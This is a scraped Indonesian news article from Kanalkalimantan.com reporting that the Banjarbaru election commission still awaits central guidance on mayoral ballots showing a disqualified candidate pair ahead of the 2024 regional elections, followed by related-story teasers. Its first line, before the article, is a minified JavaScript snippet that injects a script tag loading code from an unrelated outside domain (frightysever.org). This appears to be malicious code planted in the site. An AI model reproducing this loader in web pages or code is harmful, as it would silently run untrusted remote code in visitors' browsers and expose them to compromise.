(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kurang satu pekan menjelang hari pencoblosan Pilkada Serentak 2024, Komisi Pemilihan Umum (KPU) Kota Banjarbaru masih belum punya petunjuk teknis soal surat suara untuk Pilwali (Pemilihan Wali Kota dan Wakil Wali Kota).
Ketua KPU Banjarbaru Dahtiar mengatakan bahwa secara prinsip jajarannya siap melaksanakan pungut hitung hingga nanti rekapitulasi.
“Pada prinsipnya pelaksanaan kita sampaikan bahwa KPU Kota Banjarbaru dalam posisi siap untuk melaksanakan pemilihan Gubernur dan Wakil Gubernur, serta Wali Kota dan Wakil Wali Kota Banjarbaru,” ujar Ketua KPU Banjarbaru Dahtiar, Rabu (20/11/2024) siang.
Dahtiar menjelaskan proses pelipatan surat suara untuk Pilgub Kalsel sudah rampung dilakukan 100 persen.
Baca juga: Petani Sumardi Divonis Bersalah, Mahasiswa Unjuk Rasa di PN Martapura
Termasuk jika ada surat suara Pilgub Kalsel yang kabur atau kurang sempurna katanya sudah diganti dengan yang baru.
“Kita malah sudah selesai semua pelipatan untuk Pilgub, termasuk jika ada yang kabur dan lain-lain itu sudah diganti, sudah lengkap 100 pesen dipacking dan siap didistribusikan ke TPS,” jelas dia.
Di sisi lain, pihaknya dihadapkan dengan ketidakpastian hasil koordinasi dari KPU RI yang sampai dengan hari ini belum juga dikeluarkan surat resmi.
Baca juga: Belasan Kios Pasar A Yani Pengambangan Terbakar
Hasil koordinasi itu berkaitan dengan pengadaan logistik surat suara untuk Pilwali dan juga terkait kotak kosong pasca keluar Keputusan KPU Kota Banjarbaru Nomor 124 Tahun 2024 tentang pembatalan Aditya Mufti Ariffin-Said Abdullah sebagai paslon Wali Kota dan Wakil Wali Kota Banjarbaru tahun 2024.
Masih menurut Dahtiar saat ditanya terkait bagaimana teknis perhitungan apabila surat suara tetap memiliki gambar pasangan calon yang dibatalkan, Ketua KPU Banjarbaru tidak bisa memberikan jawaban yang jelas.
“Itu nanti mba kami masih belum bisa menanggapi, sebab kami juga menunggu arahan KPU RI,” ungkapnya.
Sebelumnya KPU Banjarbaru menggelar simulasi pemungutan dan perhitungan suara pemilihan serentak di halaman kantor KPU Kota Banjarbaru, Rabu (2//11/2024) siang.
Jajaran penyelenggara Pemilu bersama pemilih melakukan simulasi pemungutan dan perhitungan suara yang sebenarnya, sekaligus rekapitulasi menggunakan aplikasi Si Rekap.
Baca juga: Narkoba 79,3 Kg Sabu Dimusnahkan, Jaringan Fredy Pratama Pakai Jalur Darat
Meski masih menungggu hasil koordinasi dengan KPU RI, KPU Banjarbaru tetap melaksanakan simulasi untuk pemilihan Gubernur dan Wakil Gubernur dua paslon, serta Wali Kota dan Wakil Wali Kota Banjarbaru.
“Kita mengambil sampel untuk proses pungut hitung dan simulasi ini adalah TPS real yakni TPS 08 di Kecamatan Banjarbaru Selatan, kurang lebih ada pemilih 580 orang dan itu menjadi pemilih real,” ujarnya.
“KPPS yang bertugas ada 7 orang real itu bertugas hari pencoblosan di TPS yang kita bikin sampel,” katanya.
Simulasi dilaksanakan dalam rangka menindaklanjuti instruksi dari KPU RI dan menunjukan kesiapan KPU Kota Banjarbaru dalam menghadapi Pilkada Serentak 2024. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah kios pedagang di pasar tradisional A Yani Banjarmasin hangus akibat kebakaran.… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel) melalui Direktorat Reserse Narkoba (Ditresnarkoba) gagalkan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Majelis hakim Pengadilan Negeri (PN) Martapura memberikan vonis hukuman bersalah kepada Sumardi… Read More
This website uses cookies.